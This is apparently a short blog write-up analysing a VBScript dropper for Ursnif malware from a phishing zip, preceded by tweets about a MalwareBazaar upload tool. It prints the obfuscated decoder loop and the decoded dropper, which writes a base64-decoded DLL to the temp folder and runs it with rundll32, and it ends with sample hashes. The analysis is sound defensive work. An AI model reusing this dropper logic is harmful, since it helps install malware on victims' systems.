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For anyone using @countercept's Snake malware storeage zoo, I've build a interface scale to connect to @abuse_ch's MalwareBazaar -

@abuse_ch I'm having a little fight with the bazaar API, I submit file, get {'query_status': 'inserted'} but samples never show up in your browsable list.

Short VisualBasic #Ursnif dropper write-up

3 min read

Here is my first post of a short investigation into a malicious script that I came across.

The sample was posted to the list. This is probably part of a phising mail which directs you to download the zip file and open it.

When you do this, the VisualBasic script inside the zip archive will typically be launched and the encoded payload will be executed on the system.

After unzipping we can have a first look at the .vbs script

The malicious script:

  • A large string ending in "AAAAMAAQqVT" I'm already assuming a reversed PE executable, when you base64 encode the MZ header it results in something like TVxx.
  • Two arrays
  • A short code block to decode the array's in something useful
for tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN = lbound(wGPjfJzXJQxGLsJWnaUekdibWhoIi) to ubound(dVMYfYdJEGreGsr) : YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf = chr(sqr(wGPjfJzXJQxGLsJWnaUekdibWhoIi(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN)) - sqr(dVMYfYdJEGreGsr(tzZFStIadHqvhzdvlvlbpEXDSYhoiHcgeDgEKN))) : HoVEFmZZVAZqcifFckqTROBxVyUmGActyC = HoVEFmZZVAZqcifFckqTROBxVyUmGActyC & YVlUhhqxZMAvjAYHiFNxxrkWWvzkbiFf : next : execute(HoVEFmZZVAZqcifFckqTROBxVyUmGActyC)

A little rewriting and making it saver by echo the output instead of execute it, results in the following VBS code :

for Value = lbound(ArrayOne) to ubound(ArrayTwo)
    Result = chr(sqr(ArrayOne(Value)) - sqr(ArrayTwo(Value)))
    ConcatResult = ConcatResult & Result
WScript.Echo ConcatResult

Running this result in the following script.

on error resume next
set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Path = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\Adobe.url"
set oUrlLink = WshShell.CreateShortcut(Path)
oUrlLink.TargetPath = ""
if  (FSO.FileExists(Path))  Then
    WScript.Echo "Error!"
    xml = "Msxml2.DOMDocument"
    ws = "WScript.Shell"
    bin = "bin.base64"
    sa = "shell.application"
    bs = "base64"
    db = "Adodb.Stream"
    Set wshs = createobject(ws)
    Set sh = createobject(sa)
    filepath = wshs.ExpandEnvironmentStrings("%TEMP%") & "\SHCSdw.dll"
end if

Set oXML = CreateObject(xml)
Set oNode = oXML.CreateElement(bs)
oNode.dataType = bin
oNode.text = strreverse(code)

Set BinaryStream = CreateObject(db)
BinaryStream.Type = 1
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile filepath
sh.ShellExecute "cmd.exe", "/c everybody shit fuck & runDll32 "& filepath &",DllRegisterServer", "", "open", 0

The script places a Adobe.url in the temp folder pointing to
and it like I already suspected does a string reverse on the code variable - strreverse(code)
passing this via the base64 decoder resullts in a PE executable on the filesystem in your temp folder with the name SHCSdw.dll

The dropped file SHCSdw.dll is a Ursnif sample that was compiled at 2020-02-24 09:57:57, if you can believe this data. The sample is available in Virustotal.


File Type sha256 Zip archive data bde9ee61351d9c61ddf2e7fc382426a5301f1155e1197f2a3d47468db4486d9c
dokument9055.vbs VisualBasic script 98b3160c553c229cb9be77de3791398aed3cce79e7935d96db9e32bf353b9624
SHCSdw.dll PE32 executable (DLL) bc8da5ad4010226376c376b2d164cfa4e073a0f6ef7761e9f4864a46a8cb9b32